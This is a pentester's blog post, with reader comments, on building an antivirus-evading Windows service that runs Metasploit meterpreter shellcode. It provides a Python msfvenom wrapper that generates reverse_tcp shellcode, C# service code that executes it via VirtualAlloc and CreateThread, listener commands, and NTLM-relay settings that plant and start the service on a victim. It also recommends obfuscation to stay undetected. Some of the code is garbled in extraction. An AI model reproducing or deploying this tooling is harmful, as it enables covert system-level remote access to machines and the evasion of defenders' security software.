AV Evading Meterpreter Shell from a .NET Service

Update: I tried this in April 2013, and it still works quite well if you obfuscate the .net (e.g. using dotfuscator or there are plenty of free ones). I still use the generic idea for SMB type things, like NTLM relaying. That said, for simply evading AV, I highly recommend going the powershell route instead. Powersploit has meterpreter connectback built in, so you don’t even need to do anything. It’s awesome https://github.com/mattifestation/PowerSploit

Quite a few successful attacks rely on creating a malicious service at some point in the attack chain. This can be very useful for a couple reasons. First, in post exploitation scenarios these services are persistent, and (although noisy) these can be set to start when a connection fails or across reboots. Second, malicious services are also an extremely common way that boxes are owned in the first place – it’s part of how psexec and smb NTLM relaying work. In Metasploit by default, these are exploit modules most commonly used by selecting from their available payloads. One thing people may not realize is that these payloads are just turned into service binaries and then executed. You don’t need to necessarily use low level machine code – your “shellcode” can just be written in .NET if you want.

The strategy I’ll use here is to create a stage 1 .NET meterpreter service that connects back to our stage 2 host.

Maybe the easiest way to create a service is to use Visual Studio. Go to new project, and select Window Service, which should give you a nice skeleton.

Generate our stage 1 and put it in a C# byte array format. I wrote a python script to do this.


# simple script that generates a meterpreter payload suitable for a .net executable

import argparse
import re
from subprocess import *

parser = argparse.ArgumentParser()
parser.add_argument('--lhost', required=True, help='Connectback IP')
parser.add_argument('--lport', required=True, help='Connectback Port')
parser.add_argument('--msfroot', default='/opt/metasploit/msf3')
args = parser.parse_args()

def create_shellcode(args):
    msfvenom = args.msfroot + "/msfvenom"
    msfvenom = (msfvenom + " -p windows/meterpreter/reverse_tcp LHOST=" + args.lhost + " LPORT=" + args.lport + " -e x86/shikata_ga_nai -i 15 -f c")
    msfhandle = Popen(msfvenom, shell=True, stdout=PIPE)
        shellcode = msfhandle.communicate()[0].split("unsigned char buf[] = ")[1]
    except IndexError:
        print "Error: Do you have the right path to msfvenom?"
    #put this in a C# format
    shellcode = shellcode.replace('\\', ',0').replace('"', '').strip()[1:-1]
    return shellcode

print create_shellcode(args)

Next, we can copy/paste our shellcode into a skeleton C# service, and execute it by virtualallocing a bit of executable memory and creating a new thread. One of my buddies pointed me at http://web1.codeproject.com/Articles/8130/Execute-Native-Code-From-NET, which was helpful when writing this.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Linq;
using System.ServiceProcess;
using System.Text;
using System.Runtime.InteropServices;

namespace metservice
    public partial class Service1 : ServiceBase
        public Service1()

        protected override void OnStart(string[] args)
            // native function's compiled code
            // generated with metasploit
            byte[] shellcode = new byte[] {
0xbf,0xe2,0xe6,0x44,.... (stage 1 shellcode)

            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
                                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            // prepare data

            IntPtr pinfo = IntPtr.Zero;

            // execute native code

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);


        private static UInt32 MEM_COMMIT = 0x1000;

        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

        private static extern bool VirtualFree(IntPtr lpAddress,
                              UInt32 dwSize, UInt32 dwFreeType);

        private static extern IntPtr CreateThread(

          UInt32 lpThreadAttributes,
          UInt32 dwStackSize,
          UInt32 lpStartAddress,
          IntPtr param,
          UInt32 dwCreationFlags,
          ref UInt32 lpThreadId

        private static extern bool CloseHandle(IntPtr handle);

        private static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
        private static extern IntPtr GetModuleHandle(

          string moduleName

        private static extern UInt32 GetProcAddress(

          IntPtr hModule,
          string procName

        private static extern UInt32 LoadLibrary(

          string lpFileName

        private static extern UInt32 GetLastError();

        protected override void OnStop()

We still need to create our stage 2 listener on our attacker box from within metasploit.

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LPORT 443

Now we have our service, which when added and started will connect back to our listening attacker box. At which point we have a meterpreter shell running as system.

This is close to the exact same thing I did here with my http_ntlmrelay module. Using that, we have two steps. One is uploading our malicious .net service, and the second is starting that service.

use auxiliary/server/http_ntlmrelay
#SMB_PUT our malicious windows service (named metservice.exe) onto the victim
set RHOST mwebserver
set RPORT 445
set URIPATH /1
set RURIPATH c$\\Windows\\rla7cu.exe
set FILEPUTDATA /root/ntlm_demo/smb_pwn/metservice.exe
#Execute the malicious windows service
set RURIPATH %SystemRoot%\\rla7cu.exe
set URIPATH /2

Out of the box, this service already evades most AV (there are 0 detections when I uploaded to virustotal).

However, as AV companies do, they could update their stuff to figure out a way of detecting this. In the middle of a pentest, I already got an email from a concerned stakeholder asking about this service, which I had named “gonnaownyou” or something (yes, I know, sloppy, but I can be loud and arrogant). This concerned stake holder said they were in the process of analyzing the binary to determine if it was malicious. Surprised they had detected anything, I immediately dropped the binary into reflector, and it really couldn’t be more obvious that it is in fact malicious. I mean, my byte array is named “shellcode”, even in reflector.

As an attacker, the good news is we’re in .NET land now. It’s really very easy to modify C# compared to low level shellcode. All our real shellcode is just a string, which we can hide however the hell we want – we could easily download it from somewhere, use encryption, etc. with only a few code changes. In fact, we might not even have to modify our code above at all. There is an entire legitimate market to make managed code tough to analyze to protect IP and whatnot. Think dotfuscator. I’m not an AV guy – I usually know just enough to evade it – but it seems to me that for an AV company to detect our dotfuscated shellcode would be a difficult problem.

You know how it’s often referred to as an arms race/escalation game when people try to bypass AV, and then AV companies try to detect that? You know how they say basically the same thing about code obfuscating type solutions? Well, I don’t like spending my time evading AV, so I have this funny fantasy where I pit the code obfuscator people against the AV companies and they escalate their approaches against each other, leaving me out of the escalation equation completely :)

6 Responses to AV Evading Meterpreter Shell from a .NET Service

  1. mandreko says:

    I wrote a very similar post a while back on this (http://www.mattandreko.com/2012/02/using-net-to-bypass-av.html)

    I also published the service to GitHub (https://github.com/mandreko/DotNetAVBypass/tree/service)

    Mine also attempts to connect every x seconds based on a timer, if a connection is not currently open, to handle reboots gracefully.

    It’s good to see other people are having similar ideas.

    • Ah, very cool. Good to see that even though you blogged about it/uploaded to AV total it’s (or at least a variation) is still not detected months later :)

      • mandreko says:

        Very similar work can be done with python and the py2exe functionality. It hasn’t been getting detected either. It really shows the sad state that all AV vendors are in.

  2. jody says:

    Of course now that you guys have blogged about this technique (and the py2exe technique) and have been dutifully uploading your samples to virustotal, these techniques will start to be detected by the AV vendors over the coming weeks. For shame!

    • Maybe. Matt apparently uploaded his in February and it still works. Also, I think once you add dotfuscator, which is really easy, AV will have a hard time detecting forever. But you never know.

      • mandreko says:

        I did mine originally as a proof of concept to show the failings of AV, so I didn’t even worry about obfuscating the code or bytecode like webstersprodigy. I think that would make it a bit trickier for AV vendors to catch. For the most-part, they haven’t had to detect .net assemblies, python scripts, etc as viruses. It’s still very much new territory for them.

        However, the AV vendors are going to need to step it up and change their apps from scanning binaries for signatures, to watching things like Windows API calls that are suspicious, such as VirtualAlloc();

        I just don’t see these changes being made anytime soon.

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